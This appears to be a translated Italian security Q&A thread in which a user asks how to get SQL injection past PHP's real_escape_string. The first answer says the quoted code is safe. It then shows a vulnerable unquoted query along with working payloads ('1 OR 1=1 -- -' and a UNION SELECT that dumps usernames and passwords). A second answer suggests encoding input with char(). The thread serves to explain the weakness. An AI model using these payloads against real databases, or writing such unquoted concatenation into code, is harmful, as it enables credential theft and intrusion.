Come eseguire l'iniezione SQL con il filtro real_escape_string in posizione?

0

qualcuno può darmi un esempio del payload di iniezione mySQL, che bypasserà il filtro di sterilizzazione in real_escape_string () per quanto riguarda l'esempio di php di sotto.

function sanitizeStrXSS51($var)
{
global $connection;
return $connection->real_escape_string($var);
}

$result = queryMysql("SELECT * FROM profiles WHERE user='$user'");

if (isset($_POST['text']))
{
$text = sanitizeStrXSS51($_POST['text']);

if ($result->num_rows)
queryMysql("UPDATE profiles SET text='$text' where user='$user'");
else queryMysql("INSERT INTO profiles VALUES('$user', '$text')");
}
    
posta Gazel 01.02.2015 - 22:35
fonte

2 risposte

0

Nel tuo caso specifico, non è vulnerabile.

Tuttavia, in un caso senza virgolette, sarebbe:

$comment_id = mysql_real_escape_string($_GET['id']);
$query = "SELECT id, title, message FROM comments WHERE id = " . $comment_id . " AND published = 1";
// ...
mysql_query($query);

Poiché non esiste una citazione da cui uscire, un utente malintenzionato può semplicemente mettere 1 OR 1=1 -- - per confondere la logica e restituire tutti i commenti. Non incide molto sulla sicurezza, quindi diamo un'occhiata a qualcosa di più interessante:

1 UNION SELECT u.id, u.username, u.password FROM users u -- -

Questo diventa:

SELECT id, title, message
FROM comments
WHERE id = 1
UNION
SELECT u.id, u.username, u.password
FROM users u -- -
AND published = 1

Il -- è un flag di commento, che fa ignorare il resto della query. Il singolo - da solo può essere qualsiasi carattere; è solo usato per tamponare il parametro HTTP per assicurarsi che ci sia uno spazio in là prima del resto dell'SQL. Alla fine, restituisce il nome utente nel campo del titolo e la password nel campo del messaggio, perdendo così la tabella degli utenti.

    
risposta data 01.02.2015 - 23:56
fonte
-1

Se puoi ancora utilizzare la funzione char e ()

insert into users values(666,char(0x63)+char(0x65)…)
    
risposta data 01.02.2015 - 22:43
fonte

Leggi altre domande sui tag